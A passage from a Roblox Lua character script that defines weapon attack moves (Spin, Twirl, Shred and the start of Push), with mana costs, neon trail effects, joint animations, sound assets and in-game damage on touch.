  3738.     BlastEffect(BrickColor.new("Really black"),cf(pos),.9,.9,.9,1.2,1.2,1.2)
  3739.     MagicCircle(BrickColor.new("Really black"),cf(pos),5,5,5,5,5,5,0.05)
  3740.     MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05)
  3741.     for i=0,1,0.06 do
  3742.     swait()
  3743.     Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3)
  3744.     Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3745.     RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3)
  3746.     RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3)
  3747.     LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3)
  3748.     RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  3749.     LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  3750.     handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  3751.     Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  3752.     Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  3753. end
  3754. end
  3755.     swait(20)
  3756.     Humanoid.WalkSpeed = 12
  3757.     --dmgstop()
  3758.     attack=false
  3759. end
  3760. end
  3761.  
  3762. function Spin()
  3763.     attack=true
  3764. mana=mana-40
  3765. if TrailDeb == false then
  3766.                             TrailDeb = true
  3767.                         end
  3768.                        
  3769. coroutine.wrap(function()
  3770. local Old = Handle2.CFrame.p
  3771. while wait()do
  3772. if not TrailDeb then break end
  3773. local New = Handle2.CFrame.p
  3774. local Mag =(Old -New).magnitude
  3775. local Dis =(Old +New)/2
  3776. local Trail = Instance.new("Part",Character)
  3777. Trail.Material = "Neon"
  3778. Trail.Anchored = true
  3779. Trail.CanCollide = false
  3780. Trail.BrickColor = TorsoColor
  3781. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3782. Trail.TopSurface = 0
  3783. Trail.BottomSurface = 0
  3784. Trail.formFactor = "Custom"
  3785. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3786. local ms = Instance.new("BlockMesh",Trail)
  3787. ms.Scale = Vector3.new(1,1,1)
  3788. local TM = Instance.new("CylinderMesh",Trail)
  3789. TM.Scale = Vector3.new(1,1,1)
  3790. Old = New
  3791. coroutine.wrap(function()
  3792. for i = 1,0,-0.1 do
  3793. wait()
  3794. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3795. end
  3796. Trail:remove()
  3797. end)()
  3798. coroutine.wrap(function()
  3799. for i = 1,10 do
  3800. wait()
  3801. Trail.Transparency = Trail.Transparency +0.1
  3802. end end)()end end)()
  3803. coroutine.wrap(function()
  3804. local Old = Handle.CFrame.p
  3805. while wait()do
  3806. if not TrailDeb then break end
  3807. local New = Handle.CFrame.p
  3808. local Mag =(Old -New).magnitude
  3809. local Dis =(Old +New)/2
  3810. local Trail = Instance.new("Part",Character)
  3811. Trail.Material = "Neon"
  3812. Trail.Anchored = true
  3813. Trail.CanCollide = false
  3814. Trail.BrickColor = TorsoColor
  3815. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3816. Trail.TopSurface = 0
  3817. Trail.BottomSurface = 0
  3818. Trail.formFactor = "Custom"
  3819. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3820. local ms = Instance.new("BlockMesh",Trail)
  3821. ms.Scale = Vector3.new(1,1,1)
  3822. local TM = Instance.new("CylinderMesh",Trail)
  3823. TM.Scale = Vector3.new(1,1,1)
  3824. Old = New
  3825. coroutine.wrap(function()
  3826. for i = 1,0,-0.1 do
  3827. wait()
  3828. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3829. end
  3830. Trail:remove()
  3831. end)()
  3832. coroutine.wrap(function()
  3833. for i = 1,10 do
  3834. wait()
  3835. Trail.Transparency = Trail.Transparency +0.1
  3836. end end)()end end)()
  3837.     Footsteps:Stop()
  3838.     Footsteps2:Stop()
  3839.     con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3840.     con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3841.     so("http://www.roblox.com/asset/?id=159882497",Torso,1,1)
  3842.     for i=0,1,0.1 do
  3843.         swait()
  3844.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3845.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3846.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  3847.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
  3848.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3849.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3850.     end
  3851. if anim then
  3852. anim.Disabled=true
  3853. end
  3854.     so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3855.     so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3856.     for i=0,1,0.05 do
  3857.         swait()
  3858.         Torso.Velocity=RootPart.CFrame.lookVector*100
  3859.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3860.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3861.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  3862.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3863.         RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3864.         LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3865.     end
  3866.     so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3867.     so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3868.     for i=0,1,0.05 do
  3869.         swait()
  3870.         Torso.Velocity=RootPart.CFrame.lookVector*100
  3871.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3872.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3873.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  3874.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3875.         RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3876.         LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3877.     end
  3878.     so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3879.     so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3880.     for i=0,1,0.05 do
  3881.         swait()
  3882.         Torso.Velocity=RootPart.CFrame.lookVector*100
  3883.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3884.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3885.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  3886.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3887.         RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3888.         LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3889.     end
  3890.     --dmgstop()
  3891. Humanoid.WalkSpeed=12
  3892.     attack=false
  3893.     con1:disconnect()
  3894.     con2:disconnect()
  3895. if anim then
  3896. anim.Disabled=false
  3897. end
  3898. if TrailDeb == true then
  3899.                         TrailDeb = false
  3900. end
  3901. end
  3902.  
  3903. function Twirl()
  3904. mana=mana-50
  3905.     attack=true
  3906. if TrailDeb == false then
  3907.                             TrailDeb = true
  3908.                         end
  3909.                        
  3910.  
  3911. coroutine.wrap(function()
  3912. local Old = Handle2.CFrame.p
  3913. while wait()do
  3914. if not TrailDeb then break end
  3915. local New = Handle2.CFrame.p
  3916. local Mag =(Old -New).magnitude
  3917. local Dis =(Old +New)/2
  3918. local Trail = Instance.new("Part",Character)
  3919. Trail.Material = "Neon"
  3920. Trail.Anchored = true
  3921. Trail.CanCollide = false
  3922. Trail.BrickColor = TorsoColor
  3923. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3924. Trail.TopSurface = 0
  3925. Trail.BottomSurface = 0
  3926. Trail.formFactor = "Custom"
  3927. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3928. local ms = Instance.new("BlockMesh",Trail)
  3929. ms.Scale = Vector3.new(1,1,1)
  3930. local TM = Instance.new("CylinderMesh",Trail)
  3931. TM.Scale = Vector3.new(1,1,1)
  3932. Old = New
  3933. coroutine.wrap(function()
  3934. for i = 1,0,-0.1 do
  3935. wait()
  3936. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3937. end
  3938. Trail:remove()
  3939. end)()
  3940. coroutine.wrap(function()
  3941. for i = 1,10 do
  3942. wait()
  3943. Trail.Transparency = Trail.Transparency +0.1
  3944. end end)()end end)()
  3945. coroutine.wrap(function()
  3946. local Old = Handle.CFrame.p
  3947. while wait()do
  3948. if not TrailDeb then break end
  3949. local New = Handle.CFrame.p
  3950. local Mag =(Old -New).magnitude
  3951. local Dis =(Old +New)/2
  3952. local Trail = Instance.new("Part",Character)
  3953. Trail.Material = "Neon"
  3954. Trail.Anchored = true
  3955. Trail.CanCollide = false
  3956. Trail.BrickColor = TorsoColor
  3957. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3958. Trail.TopSurface = 0
  3959. Trail.BottomSurface = 0
  3960. Trail.formFactor = "Custom"
  3961. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3962. local ms = Instance.new("BlockMesh",Trail)
  3963. ms.Scale = Vector3.new(1,1,1)
  3964. local TM = Instance.new("CylinderMesh",Trail)
  3965. TM.Scale = Vector3.new(1,1,1)
  3966. Old = New
  3967. coroutine.wrap(function()
  3968. for i = 1,0,-0.1 do
  3969. wait()
  3970. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3971. end
  3972. Trail:remove()
  3973. end)()
  3974. coroutine.wrap(function()
  3975. for i = 1,10 do
  3976. wait()
  3977. Trail.Transparency = Trail.Transparency +0.1
  3978. end end)()end end)()
  3979.     Footsteps:Stop()
  3980.     Footsteps2:Stop()
  3981.     con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3982.     con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3983.     so("http://www.roblox.com/asset/?id=159882598",Torso,1,1)
  3984.     for i=0,1,0.1 do
  3985.         swait()
  3986.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3987.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3988.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  3989.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
  3990.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3991.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3992.     end
  3993. if anim then
  3994. anim.Disabled=true
  3995. end
  3996.     so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  3997.     so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  3998.     for i=0,1,0.05 do
  3999.         swait()
  4000.         Torso.Velocity=RootPart.CFrame.lookVector*80
  4001.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4002.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4003.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  4004.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4005.         RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4006.         LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4007.     end
  4008.     so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  4009.     so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  4010.     for i=0,1,0.05 do
  4011.         swait()
  4012.         Torso.Velocity=RootPart.CFrame.lookVector*80
  4013.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4014.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4015.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  4016.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4017.         RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4018.         LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4019.     end
  4020.     so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  4021.     so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  4022.     for i=0,1,0.05 do
  4023.         swait()
  4024.         Torso.Velocity=RootPart.CFrame.lookVector*80
  4025.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4026.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4027.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  4028.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4029.         RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4030.         LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4031.     end
  4032.     so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  4033.     so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  4034.     for i=0,1,0.05 do
  4035.         swait()
  4036.         Torso.Velocity=RootPart.CFrame.lookVector*80
  4037.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4038.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4039.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  4040.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4041.         RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4042.         LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4043.     end
  4044.     --dmgstop()
  4045. Humanoid.WalkSpeed=12
  4046.     attack=false
  4047.     con1:disconnect()
  4048.     con2:disconnect()
  4049. if anim then
  4050. anim.Disabled=false
  4051. end
  4052. if TrailDeb == true then
  4053.                         TrailDeb = false
  4054. end
  4055. end
  4056.  
  4057. function Shred()
  4058.     attack=true
  4059.     mana=mana-100
  4060. if TrailDeb == false then
  4061.                             TrailDeb = true
  4062.                         end
  4063.                        
  4064.  
  4065. coroutine.wrap(function()
  4066. local Old = Handle2.CFrame.p
  4067. while wait()do
  4068. if not TrailDeb then break end
  4069. local New = Handle2.CFrame.p
  4070. local Mag =(Old -New).magnitude
  4071. local Dis =(Old +New)/2
  4072. local Trail = Instance.new("Part",Character)
  4073. Trail.Material = "Neon"
  4074. Trail.Anchored = true
  4075. Trail.CanCollide = false
  4076. Trail.BrickColor = TorsoColor
  4077. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4078. Trail.TopSurface = 0
  4079. Trail.BottomSurface = 0
  4080. Trail.formFactor = "Custom"
  4081. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4082. local ms = Instance.new("BlockMesh",Trail)
  4083. ms.Scale = Vector3.new(1,1,1)
  4084. local TM = Instance.new("CylinderMesh",Trail)
  4085. TM.Scale = Vector3.new(1,1,1)
  4086. Old = New
  4087. coroutine.wrap(function()
  4088. for i = 1,0,-0.1 do
  4089. wait()
  4090. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4091. end
  4092. Trail:remove()
  4093. end)()
  4094. coroutine.wrap(function()
  4095. for i = 1,10 do
  4096. wait()
  4097. Trail.Transparency = Trail.Transparency +0.1
  4098. end end)()end end)()
  4099. coroutine.wrap(function()
  4100. local Old = Handle.CFrame.p
  4101. while wait()do
  4102. if not TrailDeb then break end
  4103. local New = Handle.CFrame.p
  4104. local Mag =(Old -New).magnitude
  4105. local Dis =(Old +New)/2
  4106. local Trail = Instance.new("Part",Character)
  4107. Trail.Material = "Neon"
  4108. Trail.Anchored = true
  4109. Trail.CanCollide = false
  4110. Trail.BrickColor = TorsoColor
  4111. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4112. Trail.TopSurface = 0
  4113. Trail.BottomSurface = 0
  4114. Trail.formFactor = "Custom"
  4115. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4116. local ms = Instance.new("BlockMesh",Trail)
  4117. ms.Scale = Vector3.new(1,1,1)
  4118. local TM = Instance.new("CylinderMesh",Trail)
  4119. TM.Scale = Vector3.new(1,1,1)
  4120. Old = New
  4121. coroutine.wrap(function()
  4122. for i = 1,0,-0.1 do
  4123. wait()
  4124. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4125. end
  4126. Trail:remove()
  4127. end)()
  4128. coroutine.wrap(function()
  4129. for i = 1,10 do
  4130. wait()
  4131. Trail.Transparency = Trail.Transparency +0.1
  4132. end end)()end end)()
  4133.     Footsteps:Stop()
  4134.     Footsteps2:Stop()
  4135.     con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end)
  4136.     con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end)
  4137.     so("http://www.roblox.com/asset/?id=159882578",Torso,1,1)
  4138.     for i=0,1,0.1 do
  4139.         swait()
  4140.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4141.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4142.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  4143.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
  4144.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4145.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4146.     end
  4147. if anim then
  4148. anim.Disabled=true
  4149. end
  4150.     for i=0,1,0.05 do
  4151.         swait()
  4152.         Torso.Velocity=RootPart.CFrame.lookVector*20
  4153.         so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4154.         so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4155.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5)
  4156.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4157.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  4158.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4159.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4160.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4161.     end
  4162.     for i=0,1,0.05 do
  4163.         swait()
  4164.         Torso.Velocity=RootPart.CFrame.lookVector*40
  4165.         so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4166.         so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4167.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5)
  4168.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4169.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  4170.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4171.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4172.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4173.     end
  4174.     for i=0,1,0.05 do
  4175.         swait()
  4176.         Torso.Velocity=RootPart.CFrame.lookVector*60
  4177.         so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4178.         so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4179.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5)
  4180.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4181.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  4182.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4183.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4184.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4185.     end
  4186.     so("http://www.roblox.com/asset/?id=159882625",Torso,1,1)
  4187.     so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4188.     so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4189.     so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4190.     so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4191.     for i=0,1,0.05 do
  4192.         swait()
  4193.         Torso.Velocity=RootPart.CFrame.lookVector*80
  4194.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5)
  4195.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4196.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  4197.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4198.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4199.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4200.     end
  4201.     for i=0,1,0.005 do
  4202.         swait()
  4203.         Torso.Velocity=RootPart.CFrame.lookVector*100
  4204.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5)
  4205.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4206.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  4207.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4208.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4209.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4210.     end
  4211.     --dmgstop()
  4212. Humanoid.WalkSpeed=12
  4213.     attack=false
  4214.     con1:disconnect()
  4215.     con2:disconnect()
  4216. if anim then
  4217. anim.Disabled=false
  4218. end
  4219. if TrailDeb == true then
  4220.                         TrailDeb = false
  4221. end
  4222. end
  4223.  
  4224. function Push()
  4225.     attack=true
  4226.     mana=mana-20
  4227. if TrailDeb == false then
  4228.                             TrailDeb = true
  4229.                         end
  4230.                        
  4231.  
  4232. coroutine.wrap(function()
  4233. local Old = Handle2.CFrame.p
  4234. while wait()do
  4235. if not TrailDeb then break end
  4236. local New = Handle2.CFrame.p
  4237. local Mag =(Old -New).magnitude
  4238. local Dis =(Old +New)/2
  4239. local Trail = Instance.new("Part",Character)
  4240. Trail.Material = "Neon"
  4241. Trail.Anchored = true
  4242. Trail.CanCollide = false
  4243. Trail.BrickColor = TorsoColor
  4244. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4245. Trail.TopSurface = 0
  4246. Trail.BottomSurface = 0
  4247. Trail.formFactor = "Custom"
  4248. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4249. local ms = Instance.new("BlockMesh",Trail)
  4250. ms.Scale = Vector3.new(1,1,1)
  4251. local TM = Instance.new("CylinderMesh",Trail)
  4252. TM.Scale = Vector3.new(1,1,1)
  4253. Old = New
  4254. coroutine.wrap(function()
  4255. for i = 1,0,-0.1 do
  4256. wait()
  4257. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4258. end
  4259. Trail:remove()
  4260. end)()
  4261. coroutine.wrap(function()
  4262. for i = 1,10 do
  4263. wait()
  4264. Trail.Transparency = Trail.Transparency +0.1
  4265. end end)()end end)()
  4266. coroutine.wrap(function()
  4267. local Old = Handle.CFrame.p
  4268. while wait()do
  4269. if not TrailDeb then break end
  4270. local New = Handle.CFrame.p
  4271. local Mag =(Old -New).magnitude
  4272. local Dis =(Old +New)/2
  4273. local Trail = Instance.new("Part",Character)
  4274. Trail.Material = "Neon"
  4275. Trail.Anchored = true
  4276. Trail.CanCollide = false
  4277. Trail.BrickColor = TorsoColor
  4278. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4279. Trail.TopSurface = 0
  4280. Trail.BottomSurface = 0
